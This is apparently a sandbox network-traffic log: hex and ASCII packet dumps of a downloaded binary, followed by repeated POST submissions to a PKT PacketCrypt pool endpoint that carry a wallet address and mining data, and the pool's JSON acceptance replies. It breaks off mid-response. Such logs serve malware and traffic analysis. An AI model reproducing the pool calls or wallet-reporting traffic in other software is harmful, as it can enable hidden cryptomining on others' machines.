Jan 7, 2025 13:57:59.937079906 CET	1236	IN	Data Raw: 89 45 77 8b 54 24 38 41 8b c8 d3 ea ff ca 48 8b 44 24 48 48 83 e8 02 48 8d 14 50 48 3b fa 77 5a 66 83 3f 3b 74 0b 48 83 c7 02 48 3b fa 76 f1 eb 49 48 89 7c 24 50 44 89 44 24 58 44 89 75 7f 0f 28 7c 24 50 eb 57 41 f7 d0 41 83 e0 01 44 89 45 77 8b Data Ascii: EwT$8AHD$HHHPH;wZf?;tHH;vIH\|$PDD$XDu(\|$PWAADEwD$8AHHT$HHHH;w?;tHH;vuA()\|$PfofsfA~DEwfH~D$ T$$D$(ML\|$0LfH~HEL+AI\$@D$(Eu?D$(U
Jan 7, 2025 13:57:59.937092066 CET	672	IN	Data Raw: c0 0f 88 94 00 00 00 33 f6 89 75 af f6 c3 08 74 17 4d 85 f6 74 12 4d 8b c6 33 d2 48 8b 0d c6 65 7b 00 ff 15 50 a8 61 00 48 8b c7 48 2b 45 87 8b 4d 77 48 d3 f8 85 c0 74 12 41 be 01 00 00 00 4c 8d 3d 72 fd 63 00 e9 ad fa ff ff f6 44 24 40 08 74 19 Data Ascii: 3utMtM3He{PaHH+EMwHtAL=rcD$@tLD$HMt3He{aL$I[HA(sA({E(CIA_A^A]A\_^]+V+H\$Hl$VWATAVAWH0MDHMtIHHL$ E3L9x
Jan 7, 2025 13:57:59.941992044 CET	1236	IN	Data Raw: 8d 35 d2 8a 62 00 33 db 48 85 c0 74 13 48 89 30 48 89 58 08 48 8d 0d 9d 8a 62 00 48 89 08 eb 03 48 8b c3 48 89 05 26 24 7a 00 48 8b c8 e8 06 a3 0c 00 b9 10 00 00 00 e8 3c bb 2b 00 48 89 44 24 50 48 85 c0 74 13 48 89 30 48 89 58 08 48 8d 0d 04 8a Data Ascii: 5b3HtH0HXHbHHH&$zH<+HD$PHtH0HXHbHHH#zH+HD$PHtH0HXHbHHH#zH+HD$PHtH0HXHRbHHHb+HD$PHtH0HXH
Jan 7, 2025 13:57:59.942050934 CET	1236	IN	Data Raw: 8b cf e8 9d a0 2c 00 81 4f 08 00 01 00 00 48 8d 9e e8 0e 00 00 48 8b d7 48 8b cb e8 f4 af 00 00 c7 45 e0 02 00 00 00 c7 45 e4 02 00 00 00 c7 45 e8 10 00 00 00 48 8d 05 08 f6 63 00 48 89 45 f0 c7 45 e8 10 00 00 00 c7 45 e8 14 00 00 00 c7 45 e8 14 Data Ascii: ,OHHHEEEHcHEEEEE+HEEEEE\A\fDxHUH,EtLEMt3H]{HauAHH>cHH,KH0

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 13:58:52.329123974 CET	277	OUT	POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1 x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a x-pc-sver: 1 x-pc-annver: 1 x-pc-worknum: 2837096 accept: / host: any.ah.pkt.world transfer-encoding: chunked
Jan 7, 2025 13:58:52.329231977 CET	11124	OUT	Data Raw: 34 30 30 0d 0a 01 6b 02 00 4e 7c 8c e1 b4 43 17 1f 67 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 400kN\|CgJ+??fH7V1Om;BQWq224n]=ilxT%l6*mZ]F$&zq[9j!NF./q\mZ6zhJQ,CM
Jan 7, 2025 13:58:52.334033012 CET	1236	OUT	Data Raw: 7f f3 f9 25 d7 a0 ed 21 70 11 10 b9 72 c6 56 37 8f 3e fb 5c 39 61 a8 e5 7b 7b 5d 63 5c 2f d9 e0 88 f7 a8 7f 5a a2 d1 7d 83 3c 64 e1 61 62 c6 b9 a8 17 d9 8f a8 d1 83 f5 1f ec 3a e7 a7 2a 1c 6d d1 1d 37 8c 76 1e 6c 9f f7 b1 7e d4 6a 01 b6 d8 e3 88 Data Ascii: %!prV7>\9a{{]c\/Z}<dab:m7vl~j_hMoM1I}p'z^SN"F8,_A#<K1X:HBS6/&y1M[\SNw gf#Ha,400NN\|CgJ+
Jan 7, 2025 13:58:52.334098101 CET	2472	OUT	Data Raw: e3 bf 8d 0b 89 08 e9 eb dc 0f 0d 0a 34 30 30 0d 0a 01 b2 37 00 4d 7c 8c e1 b4 43 17 1f 67 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 4007M\|CgJ+B U!:k$6Guw.g4fZO(YqZy%+N\|KX]jw&u<\|)#O9.h6pPFTR:#GZHF
Jan 7, 2025 13:58:52.334121943 CET	2472	OUT	Data Raw: 08 37 ce 97 14 f3 86 74 b1 f9 51 c0 ab f5 c4 32 2f 57 c4 d6 0f 20 ef 85 42 f5 71 02 ff a3 9c ca f0 bd ad 1c 6c d3 af d6 90 d2 8d ef 02 5c 44 6d 18 61 59 b0 43 95 7c 65 9d 7b 79 5b a1 ee 55 24 16 13 77 39 bc 0f e2 bc 50 93 ef 5d 0e 05 a4 38 bd 73 Data Ascii: 7tQ2/W Bql\DmaYC\|e{y[U$w9P]8sa1-f(iG,nn&}?% t}QNr]]4B*9uaNg35{{1~7="4z{Ru4Qzri9b$\WN8H=
Jan 7, 2025 13:58:52.334189892 CET	4944	OUT	Data Raw: aa 66 a8 4a 65 cc 26 d1 f6 bb bb eb 72 6e 40 b6 f5 a6 c6 bf 68 84 3b aa c1 26 6f db 06 88 70 b2 8a ba 17 fb 14 58 27 98 34 70 29 8c 35 ca 13 3c 4a 54 bb c3 e3 2c 95 51 26 bd 94 c5 f5 27 55 25 2b 8f 14 ee 2b 74 07 7d e7 1c d2 55 af c8 f5 4e 9c 97 Data Ascii: fJe&rn@h;&opX'4p)5<JT,Q&'U%++t}UNH~\|xiV@L:YHRx8QFA.<!9t;yz6!gxA:KQb^qD17~7<9'YUIw`-400nN\|CgJ+
Jan 7, 2025 13:58:52.334260941 CET	2472	OUT	Data Raw: 79 bd 01 52 6a 6a 95 38 0a 60 43 3b f1 85 91 bd d9 98 81 b4 84 77 3d d1 b6 05 61 ad 33 36 13 92 13 b3 2e a9 b7 de 77 40 93 76 07 f9 ba 07 8e 34 d4 90 3b 6a ef a9 f7 9f ae 26 19 1d 82 ae 25 52 98 6d 5d 76 4c 79 a8 e4 fd ba 6e d2 7a 05 6d ba cb 79 Data Ascii: yRjj8`C;w=a36.w@v4;j&%Rm]vLynzmy:;q5jo=VyL)!`mNr?U5bJS,U#@h5lRi_W-d%V_I:GHvCHW1_sn\juZt#ZU
Jan 7, 2025 13:58:52.334300995 CET	2472	OUT	Data Raw: a3 a9 39 a1 a8 f7 79 c1 05 75 bb c8 47 ce ef 5f f8 76 36 bd e2 25 0d 0a 34 30 30 0d 0a 01 0b 80 00 4e 7c 8c e1 b4 43 17 1f 67 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 9yuG_v6%400N\|CgJ+FFpZw^6=]I&2bq4vipj2T!Ycyg4 "ih-(],vQ[prx&je
Jan 7, 2025 13:58:52.334323883 CET	2472	OUT	Data Raw: 0d 19 bc b2 3e 12 d8 ad 54 97 2b 3b 09 28 a3 29 c9 e1 04 da 33 6e a8 0f ff fb a6 d4 a9 ce 03 2b 6d 15 cf c4 9d 3f 6a 30 76 45 9d bf e8 30 ad f7 33 8a b9 9d cb 15 f0 ed 2e b4 2c ae 2f 50 f7 2e f6 e2 5a 6e 9f 95 bc d7 cb e5 43 23 38 dc cb c4 f0 e0 Data Ascii: >T+;()3n+m?j0vE03.,/P.ZnC#87~c%.2MrR^fSz.k{!(<i5uuOwLf.gA\itw}fp!Su^t?dST!PB
Jan 7, 2025 13:58:52.334335089 CET	2472	OUT	Data Raw: 7f 94 53 32 c9 70 01 05 a7 86 33 2d 5d 58 09 0e ba 61 0d 91 14 98 80 88 41 4f 2f 3c 1e 9d 2f 51 87 56 90 9e 7f c8 98 b8 77 51 1f 47 fb 83 c4 82 c7 f5 61 4d a9 67 d7 45 a5 97 e7 13 aa 79 19 6e fc e6 64 3a 3c 8e fa e7 b9 f6 4d a3 03 3c 52 97 e0 58 Data Ascii: S2p3-]XaAO/</QVwQGaMgEynd:<M<RX/,J9z82l.}/#L0+yA.<!9t;yz6!gxA:KQb^qD17aa\|j*S\|9-oHKL<I400E
Jan 7, 2025 13:58:52.334368944 CET	2472	OUT	Data Raw: 63 7a 36 bd d8 16 1f fc c5 85 3e 94 9e 87 a6 6e 46 54 21 bf 02 f0 c5 45 54 24 5e bc d7 ef 23 1a a0 44 fd f0 ab 5b 70 f5 94 8d 6c 91 8d dd 29 7a 76 b3 b4 0f c8 99 2b b5 7c 2d 29 52 ce 18 6a 04 dd 92 d3 97 d7 c7 ee 76 c5 0b 51 19 f5 02 94 29 10 e4 Data Ascii: cz6>nFT!ET$^#D[pl)zv+\|-)RjvQ)/*?.}pk>@\|-RhR{xJ`U7pZu_G}8AiYgjW)PzMsz5BLQjrz5'W~46r#cm&yfkid~&bZLFFuWn)
Jan 7, 2025 13:58:53.444045067 CET	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Jan 2025 12:58:53 GMT Content-Type: application/json Content-Length: 296 Connection: keep-alive Data Raw: 7b 22 77 61 72 6e 22 3a 5b 5d 2c 22 65 72 72 6f 72 22 3a 5b 5d 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 61 6e 6e 73 22 2c 22 61 63 63 65 70 74 65 64 22 3a 35 33 37 2c 22 64 75 70 22 3a 30 2c 22 69 6e 76 61 6c 22 3a 30 2c 22 62 61 64 48 61 73 68 22 3a 30 2c 22 72 75 6e 74 22 3a 30 2c 22 69 6e 74 65 72 6e 61 6c 45 72 72 22 3a 30 2c 22 70 61 79 54 6f 22 3a 22 70 6b 74 31 71 78 79 73 63 35 38 67 34 63 77 77 61 75 74 67 36 64 72 34 70 37 71 37 73 64 36 74 6e 32 6c 64 67 75 6b 74 68 35 61 22 2c 22 75 6e 73 69 67 6e 65 64 22 3a 35 33 37 2c 22 74 6f 74 61 6c 4c 65 6e 22 3a 30 2c 22 74 61 72 67 65 74 22 3a 35 32 31 36 31 38 33 35 36 2c 22 74 69 6d 65 22 3a 31 37 33 36 32 35 34 37 33 33 33 34 39 2c 22 65 76 65 6e 74 49 64 22 3a 22 63 61 68 2d 32 38 33 37 30 39 35 2d 46 32 44 44 42 34 39 39 35 31 45 38 30 34 33 31 46 38 45 35 33 30 42 32 46 35 45 45 46 44 45 37 22 7d 7d Data Ascii: {"warn":[],"error":[],"result":{"type":"anns","accepted":537,"dup":0,"inval":0,"badHash":0,"runt":0,"internalErr":0,"payTo":"pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a","unsigned":537,"totalLen":0,"target":521618356,"time":1736254733349,"eventId":"cah-2837095-F2DDB49951E80431F8E530B2F5EEFDE7"}}
Jan 7, 2025 13:58:53.657222986 CET	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Jan 2025 12:58:53 GMT Content-Type: application/json Content-Length: 296 Connection: keep-alive Data Raw: 7b 22 77 61 72 6e 22 3a 5b 5d 2c 22 65 72 72 6f 72 22 3a 5b 5d 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 61 6e 6e 73 22 2c 22 61 63 63 65 70 74 65 64 22 3a 35 33 37 2c 22 64 75 70 22 3a 30 2c 22 69 6e 76 61 6c 22 3a 30 2c 22 62 61 64 48 61 73 68 22 3a 30 2c 22 72 75 6e 74 22 3a 30 2c 22 69 6e 74 65 72 6e 61 6c 45 72 72 22 3a 30 2c 22 70 61 79 54 6f 22 3a 22 70 6b 74 31 71 78 79 73 63 35 38 67 34 63 77 77 61 75 74 67 36 64 72 34 70 37 71 37 73 64 36 74 6e 32 6c 64 67 75 6b 74 68 35 61 22 2c 22 75 6e 73 69 67 6e 65 64 22 3a 35 33 37 2c 22 74 6f 74 61 6c 4c 65 6e 22 3a 30 2c 22 74 61 72 67 65 74 22 3a 35 32 31 36 31 38 33 35 36 2c 22 74 69 6d 65 22 3a 31 37 33 36 32 35 34 37 33 33 33 34 39 2c 22 65 76 65 6e 74 49 64 22 3a 22 63 61 68 2d 32 38 33 37 30 39 35 2d 46 32 44 44 42 34 39 39 35 31 45 38 30 34 33 31 46 38 45 35 33 30 42 32 46 35 45 45 46 44 45 37 22 7d 7d Data Ascii: {"warn":[],"error":[],"result":{"type":"anns","accepted":537,"dup":0,"inval":0,"badHash":0,"runt":0,"internalErr":0,"payTo":"pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a","unsigned":537,"totalLen":0,"target":521618356,"time":1736254733349,"eventId":"cah-2837095-F2DDB49951E80431F8E530B2F5EEFDE7"}}

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 13:59:01.882761002 CET	277	OUT	POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1 x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a x-pc-sver: 1 x-pc-annver: 1 x-pc-worknum: 2837096 accept: / host: any.ah.pkt.world transfer-encoding: chunked
Jan 7, 2025 13:59:01.882852077 CET	11124	OUT	Data Raw: 34 30 30 0d 0a 01 bb 32 05 4f 7c 8c e1 b4 43 17 1f 67 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 4002O\|CgJ+;w/E2/CW=}g.sv&B&HK\-H4z4@C4f9O1J(X&l{!E2r`1! T[T~n(tSKsk%lpk
Jan 7, 2025 13:59:01.887610912 CET	1236	OUT	Data Raw: 60 7f 6d cd 61 0b cf ab 32 0c 1a 8d 58 4a 47 6f 33 59 56 9c 79 c5 e3 ca 57 e2 37 36 b4 42 45 74 c8 a2 4d 1a 41 00 65 b5 9b b9 5d c4 92 59 2b 86 52 41 25 bf b8 b0 6c e6 37 10 57 7e 4f 2e dc 23 9a 48 37 26 c1 74 d2 f3 dd e7 f2 6a f2 1d 2d a4 85 e1 Data Ascii: `ma2XJGo3YVyW76BEtMAe]Y+RA%l7W~O.#H7&tj-CbS^7"Gq2y]gVBVQbNh&//V+=GM%q&MPz%I,:\|)[J}400_L\|CgJ+
Jan 7, 2025 13:59:01.887660980 CET	2472	OUT	Data Raw: 58 b9 b8 38 0d fc ad 67 e9 89 0d 0a 34 30 30 0d 0a 01 13 58 05 4f 7c 8c e1 b4 43 17 1f 67 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: X8g400XO\|CgJ+U1hj+5fQVU<Pwh>\|>Z)yS@26vt{TP&==t/*v \Ryv=]as3AEaNf^WiZvI}
Jan 7, 2025 13:59:01.887842894 CET	4944	OUT	Data Raw: 81 48 ca c2 9b e0 77 fc 21 f3 15 53 26 f0 5b 39 72 a0 74 95 63 bd 8e f9 e8 85 00 2a 9c 53 80 dc cb d4 26 18 ae 65 88 c3 6a f9 bd 73 6c 91 cd cd 1a ef 4f 34 07 6c 2d 0b b6 ad a0 af 4d 7b 2e 0c 02 ff a2 f4 63 99 bd 68 ec 97 55 8b 21 4b d5 8a e6 a5 Data Ascii: Hw!S&[9rtcS&ejslO4l-M{.chU!Kj;5S\|G w6lPCY10sjl9Rk6H(Ew!Nk,nHg;7TW,t7?1\_\sy< Ed9N@U=
Jan 7, 2025 13:59:01.887885094 CET	2472	OUT	Data Raw: 3b 93 b6 62 81 01 8e 3c 28 18 c8 2a 7a 02 22 d1 d8 48 35 4a e8 9f 8b 51 8f 6d a0 a7 78 ab b0 48 93 54 35 5b 48 de 6c 27 a8 27 7d 20 5b 74 31 d4 e2 8c 62 06 78 c1 39 37 9e 86 00 28 92 21 d7 d4 fb 5f 68 88 ee 13 ff 5a 7f d0 b1 b8 a7 54 27 b7 ab 98 Data Ascii: ;b<(z"H5JQmxHT5[Hl''} [t1bx97(!_hZT'I8dots,=XNGu0\I/O-d\|NR@5\|;L(8q<U@5z=Y0VKK3C7a!~G\ZV''pQ
Jan 7, 2025 13:59:01.887896061 CET	2472	OUT	Data Raw: a3 7f b5 bb 1e 5b 13 7f 0d 74 a2 7f 1b 60 a5 71 cb 21 ac ae 53 ba db 2a c5 84 3d e5 01 3d 01 4f 15 c2 8b 8e a9 6a 97 21 39 ae 95 16 87 bd f9 32 69 67 69 38 2c 81 76 b5 58 fc 33 a3 9f 4f 7f d1 a4 7a 58 22 e9 6d e1 38 29 b2 91 9d 59 a3 5b 9e 00 4b Data Ascii: [t`q!S==Oj!92igi8,vX3OzX"m8)Y[KGe6+=oZ\3HtttB^Wh9xd3ur0Q_n<};q`7}/~>H}<L'r)kLEi`P8W0kI\*.S#VF$<d
Jan 7, 2025 13:59:01.888091087 CET	4944	OUT	Data Raw: 58 19 58 ee fe 98 db 0f 8c 89 f7 78 89 f9 87 3b 49 cc e6 f5 ce 2a 0d 0a 34 30 30 0d 0a 01 8c a4 05 4c 7c 8c e1 b4 43 17 1f 67 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: XXx;I*400L\|CgJ+SuA)r/Hu\|8ug,f>7N2oi-H^3`c^]t2IN{]YrGd:o9OM~lH,
Jan 7, 2025 13:59:01.888149023 CET	2472	OUT	Data Raw: 32 79 93 07 f7 a3 e2 c0 aa ac 2e d6 f0 85 9c 03 d9 46 7e 07 0a 32 1c d4 b9 53 e5 99 80 5c 17 7d 90 2c d0 f3 9f 2d 64 18 92 ff 08 58 5f b2 0b f3 02 a3 c4 87 e8 46 2f 5a c4 dd 6a 91 34 32 67 67 02 34 28 ca 66 99 2e 18 4a 31 bd de e2 c1 b6 cc e5 80 Data Ascii: 2y.F~2S\},-dX_F/Zj42gg4(f.J1SK`/pV[?_c~hq']gVBVQbNh&//V+=GM%q&MP<],e64+;C[ Pz#400S
Jan 7, 2025 13:59:01.888190031 CET	1236	OUT	Data Raw: 0d c1 63 e0 2b a4 a8 2d 6c c3 11 0b df 8b 95 ee 9d 2f 4e 15 94 6f f1 67 e8 b7 5c b0 65 92 fc e0 fc 72 e2 7d 0c 80 a8 2d 2d 88 60 28 13 1b e3 69 4a a8 93 61 45 d0 2c f7 9f 1d da 25 5d a2 5e 91 5d 09 8d 35 23 fe 8a 43 76 10 c9 a6 2f a3 03 b9 b9 43 Data Ascii: c+-l/Nog\er}--`(iJaE,%]^]5#Cv/C'`DTZif-"gq'PM2OUkMIM=A\|_prPr+BcY&H636VVG-){Igh.(7D
Jan 7, 2025 13:59:01.892420053 CET	1236	OUT	Data Raw: 1b b3 9b 93 7c 9d 42 37 08 26 24 cd 2e 41 2d db c7 7c b4 e6 72 bb 5f 1a 4b ad 52 06 f4 76 bb 36 ff 7f 1d 0e 21 12 71 1b 4e b2 01 6f 35 6f f1 83 2d 48 48 1c 2d 7f 20 e1 20 d0 7c 2f 08 b3 28 71 90 45 49 8e 27 82 1c 58 da 74 e8 99 ce 26 a7 fc 9f 97 Data Ascii: \|B7&$.A-\|r_KRv6!qNo5o-HH- \|/(qEI'Xt&/{N\|J$}Q;N=d3jSJ+Q>c:(%7vcr<r:&~,o~EnsJ!b pXO?P3qEH4M\~@^D)oyWqw/B}!vE
Jan 7, 2025 13:59:03.261801004 CET	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Jan 2025 12:59:03 GMT Content-Type: application/json Content-Length: 296 Connection: keep-alive Data Raw: 7b 22 77 61 72 6e 22 3a 5b 5d 2c 22 65 72 72 6f 72 22 3a 5b 5d 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 61 6e 6e 73 22 2c 22 61 63 63 65 70 74 65 64 22 3a 35 34 31 2c 22 64 75 70 22 3a 30 2c 22 69 6e 76 61 6c 22 3a 30 2c 22 62 61 64 48 61 73 68 22 3a 30 2c 22 72 75 6e 74 22 3a 30 2c 22 69 6e 74 65 72 6e 61 6c 45 72 72 22 3a 30 2c 22 70 61 79 54 6f 22 3a 22 70 6b 74 31 71 78 79 73 63 35 38 67 34 63 77 77 61 75 74 67 36 64 72 34 70 37 71 37 73 64 36 74 6e 32 6c 64 67 75 6b 74 68 35 61 22 2c 22 75 6e 73 69 67 6e 65 64 22 3a 35 34 31 2c 22 74 6f 74 61 6c 4c 65 6e 22 3a 30 2c 22 74 61 72 67 65 74 22 3a 35 32 31 36 31 38 33 35 36 2c 22 74 69 6d 65 22 3a 31 37 33 36 32 35 34 37 34 33 31 36 34 2c 22 65 76 65 6e 74 49 64 22 3a 22 63 61 68 2d 32 38 33 37 30 39 35 2d 44 36 35 38 39 38 30 46 31 46 43 38 32 45 44 34 44 31 44 30 32 44 31 31 44 38 43 42 30 34 41 36 22 7d 7d Data Ascii: {"warn":[],"error":[],"result":{"type":"anns","accepted":541,"dup":0,"inval":0,"badHash":0,"runt":0,"internalErr":0,"payTo":"pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a","unsigned":541,"totalLen":0,"target":521618356,"time":1736254743164,"eventId":"cah-2837095-D658980F1FC82ED4D1D02D11D8CB04A6"}}

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 13:59:04.891906023 CET	277	OUT	POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1 x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a x-pc-sver: 1 x-pc-annver: 1 x-pc-worknum: 2837096 accept: / host: any.ah.pkt.world transfer-encoding: chunked
Jan 7, 2025 13:59:04.892002106 CET	11124	OUT	Data Raw: 34 30 30 0d 0a 01 a4 1b 0c 4d 7c 8c e1 b4 43 17 1f 67 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 400M\|CgJ+P$(LAL$\|9m%_g{?wBKw3qL:L~^{2>uzDToh-]>J&_U+T@;.Ro 75'G,j/0
Jan 7, 2025 13:59:04.896758080 CET	1236	OUT	Data Raw: f0 c0 40 a1 b9 cb 93 08 c3 f4 69 79 70 f4 d8 c6 d9 29 b1 13 89 22 6d e5 9c e6 ed 90 2a 9c a3 98 ae ad 88 cb f6 5f d0 15 b1 3b 7c 2c d4 97 1f f5 68 78 33 57 bf 29 0b 03 c8 d5 22 29 4b 9a 62 8f f8 58 9b b8 36 8a 67 97 07 91 1c 4d 51 56 34 b8 cc 7b Data Ascii: @iyp)"m*_;\|,hx3W)")KbX6gMQV4{?3PS\|74eUQF5jMo>P:Q/QW+]T1C6%GqKaT\|'\|t:4"1d9N5]GaF:<G?^RL&400L\|CgJ+
Jan 7, 2025 13:59:04.896898985 CET	2472	OUT	Data Raw: 79 68 6e 36 6a 9f 14 40 2c e9 0d 0a 34 30 30 0d 0a 01 8e 1b 0b 4c 7c 8c e1 b4 43 17 1f 67 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: yhn6j@,400L\|CgJ+EOyf,(/_~{wrRQDt]dY{$lAYqj2!22gJ%"8s3.[mKU+>k%
Jan 7, 2025 13:59:04.896924019 CET	2472	OUT	Data Raw: 83 db f3 15 f3 db d7 85 81 39 1a 16 f4 ef d6 fe f5 ac 52 a9 62 3c 04 f6 d6 ac 02 5d df c1 98 88 f3 a4 87 15 38 22 01 f9 b8 1c 87 ca 95 1e d9 6a 87 50 dd 2c dc 78 62 0a 60 e5 45 6b e6 e3 bd 03 75 51 23 7a 0c 46 07 bc 5b 70 43 9b 75 3e 10 7c 9e ef Data Ascii: 9Rb<]8"jP,xb`EkuQ#zF[pCu>\|ybT]:vreR^H).@>FX(^*4RFNT=!`y)X;6j!Avtkz&5@@ETm/UBDhh$
Jan 7, 2025 13:59:04.896966934 CET	2472	OUT	Data Raw: 78 67 4c 82 0d ab 2b a0 6f 89 8f 37 09 4b da 52 0d 14 cc b2 d0 e1 24 d3 0d 4d a8 73 3f 8d 32 ef 03 94 1f ed 1f e0 18 1d 3c ea e3 23 d1 9f 09 85 b1 16 ae 65 79 9b 06 71 37 47 8a 5a c0 e5 43 90 72 9d 34 2c 72 4b 64 3e 42 d5 8a 9f ff 1e a2 24 1a 6b Data Ascii: xgL+o7KR$Ms?2<#eyq7GZCr4,rKd>B$kV/W% }dGl"T[>usBHz^SN"F8,_A#<K1X:HBS6/&y1M[.&hj,CluT$,Kj&J400>M\|CgJ+
Jan 7, 2025 13:59:04.896989107 CET	2472	OUT	Data Raw: db ec 8d a8 de f6 21 10 7c d3 3b eb fd a6 79 97 66 3a a8 ed 30 2a 8b f8 3f 25 7f ef 2a 85 0c ea 7d 29 bf 2a 13 ba fc 61 1f 93 5a be 09 ce d5 ff 22 50 e7 f7 ec b7 48 5f 1a 6b 0d 5f 52 73 7d 23 c1 54 9c 8e ce 51 25 80 b0 38 98 31 b4 ec 97 69 fe b4 Data Ascii: !\|;yf:0?%})*aZ"PH_k_Rs}#TQ%81iF[@HMwPilZF_GIS}{NMDV^=kF:k4vcUy5\|t(2_g--2M-RX+LeF3W.V%ej3I3Jt
Jan 7, 2025 13:59:04.897017002 CET	2472	OUT	Data Raw: 13 d9 da 86 31 d9 b2 35 3d 86 8a b4 cb 08 ac 4d 28 52 2e ad 1c ce 7d 1d 79 d4 0a dc 61 ba fa 6c 2b ad 09 a4 55 ea b7 3b 47 2b dc 5d f0 8f 3d f4 a2 57 1e 50 b1 fa 1e 9e f7 9f 4c 93 a8 ed 63 9d 37 8f 1c 07 0a e1 de e4 cf 2c b1 15 ed b4 96 6d 73 bb Data Ascii: 15=M(R.}yal+U;G+]=WPLc7,msBONF2.\|k6];z5pY'13&[3"Dp\|L4mz5W"yr!$U8?D:Ja`CC%+7({]'8L5]<(~IVQm]
Jan 7, 2025 13:59:04.897097111 CET	9888	OUT	Data Raw: a0 c8 28 4a 1b d6 81 66 71 01 c4 e6 ee a0 a7 8d a1 94 75 ae 7e 7f 0d 0a 34 30 30 0d 0a 01 ff 5f 0c 4d 7c 8c e1 b4 43 17 1f 67 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: (Jfqu~400_M\|CgJ+0HF9f)tiTZyaz+wj\|vV<UtIv+^>hNs6xmUn\|`W&@Y>V,jk:(
Jan 7, 2025 13:59:04.901716948 CET	2472	OUT	Data Raw: a1 b4 0c 0d 06 93 4a df 5f 1c c8 56 04 98 a7 1f 71 fb 53 19 c4 29 54 04 e3 de 93 82 9a 8c 4a e6 b0 bf 58 d8 cf 99 68 8e 90 ad 51 b3 ec 5c f5 93 d8 03 e5 6a 08 4d 88 d8 7a 51 cc a3 4f 01 fb 3f bb c3 34 9a 48 42 70 8c 2f 36 c8 77 2b 90 45 c5 dd f6 Data Ascii: J_VqS)TJXhQ\jMzQO?4HBp/6w+EMdI<:e$Qyw O>]>Mr\|Qd^jHv4QK>gi#01gy]Q(tmh?HMA{PG9Q2!f+Imq:8#lCl2Ge.4
Jan 7, 2025 13:59:04.901784897 CET	2472	OUT	Data Raw: 1e a9 f0 3c ee f9 a0 14 1e ce 1d 18 f7 fd 53 70 66 4a 51 16 9f 99 51 b0 b1 d4 56 f6 7c 00 c0 d2 97 a6 0d 0a 34 30 30 0d 0a 01 b4 69 0b 4f 7c 8c e1 b4 43 17 1f 67 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: <SpfJQQV\|400iO\|CgJ+6EX=?Xx"3W2p_KH,%&evnxhp6CJ~;H#dIv#
Jan 7, 2025 13:59:05.524287939 CET	458	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Jan 2025 12:59:05 GMT Content-Type: application/json Content-Length: 294 Connection: keep-alive Data Raw: 7b 22 77 61 72 6e 22 3a 5b 5d 2c 22 65 72 72 6f 72 22 3a 5b 5d 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 61 6e 6e 73 22 2c 22 61 63 63 65 70 74 65 64 22 3a 36 30 2c 22 64 75 70 22 3a 30 2c 22 69 6e 76 61 6c 22 3a 30 2c 22 62 61 64 48 61 73 68 22 3a 30 2c 22 72 75 6e 74 22 3a 30 2c 22 69 6e 74 65 72 6e 61 6c 45 72 72 22 3a 30 2c 22 70 61 79 54 6f 22 3a 22 70 6b 74 31 71 78 79 73 63 35 38 67 34 63 77 77 61 75 74 67 36 64 72 34 70 37 71 37 73 64 36 74 6e 32 6c 64 67 75 6b 